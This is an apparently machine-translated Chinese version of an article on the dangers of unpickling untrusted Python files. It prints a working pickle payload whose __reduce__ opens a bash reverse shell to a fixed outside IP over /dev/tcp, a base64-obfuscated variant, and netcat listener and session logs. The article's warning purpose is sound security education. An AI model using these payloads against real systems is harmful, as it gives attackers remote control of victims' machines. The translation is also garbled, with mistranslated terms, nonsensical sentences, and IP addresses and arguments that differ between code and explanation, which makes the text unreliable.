如果您正在使用Python (尤其是用于机器学习),则应该对名为pickle的标准库模块有所了解。 它用于Python对象序列化,在广泛的应用程序中非常方便。 您可能需要序列化一些对象:训练有素的scikit-learn模型,经过长时间连接多个表后获得的Pandas DataFrame; 基本上任何由异类数据组成的Python对象,您都可能希望在将来在新环境中快速加载它们(对于同类数据,例如神经网络权重或训练数据张量,最好使用更合适的格式,例如HDF5 )。
在本文中,我想告诉您为什么取消从不可信来源获得的对象时要格外小心。
咸菜在野外有多普遍? 有很多人在做ML项目并将它们放在GitHub仓库中,因此不可避免地有些项目将包含pickle文件(按照惯例,它们具有.pkl
扩展名)。 有时,泡菜文件是故意放置在该文件中的,以使其他人更容易使用预先训练的模型或准备好的数据集对象来再现结果。 在其他时候,它们在开发过程中被使用,然后与项目的其余部分一起偶然地被推到仓库。
由于GitHub不允许单独按文件扩展名进行搜索,因此很难准确估算GitHub上托管的pickle文件的确切数量。 我尝试了以下查询: extension:pkl model
,它搜索在文件中包含单词“ model”的泡菜文件 。 结果如下:
现在,腌制对象是将Python对象层次结构转换为字节流,因此我不希望以此方式找到大多数腌制文件。 根据GitHub搜索规则,我必须至少指定一个单词来搜索内部文件,然后选择“模型”。 在此查询中找到的大多数文件要么是指向同一存储库中实际泡菜文件的符号链接(在符号链接路径中的某个位置带有“模型”一词),要么是某些包含大量人类可读数据的腌制对象(例如,特征向量)用于某些NLP模型)。
我不太急于抓取公共GitHub存储库并计算所有pickle文件; 但是我希望泡菜文件的实际数量比执行相对狭窄的查询后获得的16242个 数量级大几个数量级。 我知道这是一个非常粗略的估计,但是我相信您同意,在GitHub上腌制文件确实并不罕见。
潜在滥用 这是来自pickle docs的几个有趣的段落:
当Pickler
遇到某个类型的对象时,它一无所知-例如扩展类型-它在两个地方寻找如何腌制它的提示。 一种替代方法是使对象实现__reduce__()
方法。 如果提供,则在腌制时将不带任何参数调用__reduce__()
,并且它必须返回字符串或元组。 … 返回一个元组时,它的长度必须在2到5个元素之间。 可选元素可以省略,也可以提供None
作为其值。 将该元组的内容照常进行腌制,并在去腌制时用于重建对象。 这意味着可以创建一个任意的Python对象,该对象在不经过__reduce__()
后将执行__reduce__()
返回的代码。 尽管对可以返回的事物的种类有一些限制(例如,它必须是可调用的),但是创建一个在未腌制时可能存在危险的对象仍然相对容易。
设置反向Shell有效负载 在这种情况下可以做的最简单的事情之一就是在子流程中启动反向shell。 这是一个示例对象:
class ReverseShell(object):
def __reduce__(self): import os import subprocess if os.name == 'posix': return (subprocess.Popen, ('bash -i >& /dev/tcp/52.207.225.255/6006 0>&1', 0, None, None, None, None, None, None, True)) # making this work for windows seems much harder # please do share if you know how this can be done elif os.name == 'nt': return None
__reduce__()
必须返回的对象的结构非常具体。 在此示例中,返回包含两个项目的元组。 以下是每个项目的细目分类:
subprocess.Popen
将被调用以创建对象的初始版本的可调用对象。 此类用于在新进程中执行子程序。 取消对对象进行酸洗后,此新过程将在后台启动。
('bash -i >& /dev/tcp/52.207.225.255/6006 0>&1', -1, None, None, None, None, None, None, True)
可调用对象的参数元组。 第一个参数是要由子进程执行的程序。 我(作为假想的攻击者)想要:
bash -i
以交互方式打开bash &> /dev/tcp/52.207.255.255/6006
将stderr和stdout都重定向到某个TCP / IP套接字。 当我使用反向外壳程序时,我想查看机器上的所有输出( 52.207.255.255
); 我不希望受害者看到我正在远程执行什么命令。 0>&1
将stdin重定向到stdout; 该重定向符号是反转I / O“流”方向所需的第二部分。 没有这个,标准输入仍然会从受害者的标准输出到我(攻击者)的标准输出。 我希望这被扭转。 几乎所有其他参数都不重要(这就是为什么它们大多数都为None
的原因)。 我必须明确列出它们,因为我需要将第8个参数的默认值更改为True
,这是在必须将参数放入元组时的唯一方法。 第8个参数是shell=True
,它指定/bin/sh
用于执行第一个参数中指定的内容。 如果目标计算机具有无法识别/dev/tcp/...
套接字的其他默认外壳程序并引发FileNotFoundError
(例如zsh ), FileNotFoundError
要这样做 。
使用反向外壳 既然我们已经了解了构成可能的恶意腌制对象的内容,剩下的唯一事情就是腌制它,并为有人腌制时做好准备。
>>> import pickle >>> rs = ReverseShell() >>> with open('rs.pkl', 'wb') as f: ... pickle.dump(rs, f) ...
对于此示例,我将使用netcat只是在攻击者计算机的指定端口上侦听传入的TCP连接:
52.207.255.255 attacker:~$ nc -l 6006
当受害人解开文件时,头几秒钟似乎没有任何问题:
victim:~$ python >>> import pickle >>> with open('rs.pkl', 'rb') as f: ... suspicious_obj = pickle.load(f) ...
同时,在攻击者那边,我可以列出受害者解开负载的目录,并浏览受害者的计算机。 只是为了验证它是否按预期工作,我们可以检查有效用户ID确实是受害者之一。
attacker:~$ nc -l 6006 bash: no job control in this shell bash-3.2$ ls rs.pkl bash-3.2$ whoami victim
现在,受害人将在几秒钟内通过尝试使用未腌制的对象注意到出了点问题:
在现实世界中,可以安全地假设没有攻击者会坐下来,等待反向外壳连接,然后在受害者的计算机上手动执行某些操作。 更有可能是脚本等待反向外壳连接,然后该脚本将窃取数据/安装挖矿恶意软件/在更隐蔽的地方设置另一个反向外壳。 攻击者具有与受害者相同的特权时,有很多可能性。 因此,对于一个准备好的攻击者来说,打开一秒钟或两秒钟的反向炮弹绰绰有余。
处理不信任的腌制对象 是否有某种简单的方法来检查腌制对象中是否包含恶意内容?
如果我们考虑先前创建和腌制的对象的字节序列,我们可以很好地了解如果未腌制该对象会发生什么。
52.207.255.255
即使传递给subprocess.Popen
的参数字符串是base-64编码的,仍然很明显,腌制对象不正确:
class ObfuscatedReverseShell(object):
def __reduce__(self): import os import subprocess if os.name == 'posix': return (subprocess.Popen, ('eval `echo YmFzaCAtaSA+JiAvZGV2L3RjcC81Mi4yMDcuMjI1LjI1NS82MDA2IDA+JjE= | base64 -D`', -1, None, None, None, None, None, None, True))
>>> rs = ObfuscatedReverseShell() >>> with open('rs.pkl', 'wb') as f: ... pickle.dump(rs, f) ... >>> with open('rs.pkl', 'rb') as f: ... obj_byte_seq = f.read() ... >>> obj_byte_seq b'\x80\x03c subprocess\nPopen \nq\x00(XT\x00\x00\x00 eval `echo YmFzaCAtaSA+JiAvZGV2L3RjcC81Mi4yMDcuMjI1LjI1NS82MDA2IDA+JjE= | base64 -D `q\x01J\xff\xff\xff\xffNNNNNN\x88tq\x02Rq\x03.'
我想尝试评估较大大小的腌制对象的字节序列会非常繁琐。 无论如何,简单地避免从不受信任的来源中解对象或在沙盒环境中进行操作都是更安全的。
如果您正在寻找的是预先训练的ML模型,则最好使用单独提供的模型表示形式和权重来自己重建模型。 例如,可以从json / yaml加载.hdf5
模型表示形式,然后从HDF5文件(扩展名为.hdf5
)加载权重。 我浏览了HDF5 API,没有看到任何允许在加载时执行任意代码的东西,如pickle的__reduce__()
那样。
这是本文中提到的代码示例的存储库: pkl_rev_sh
From: https://hackernoon.com/dont-trust-a-pickle-a77cb4c9e0e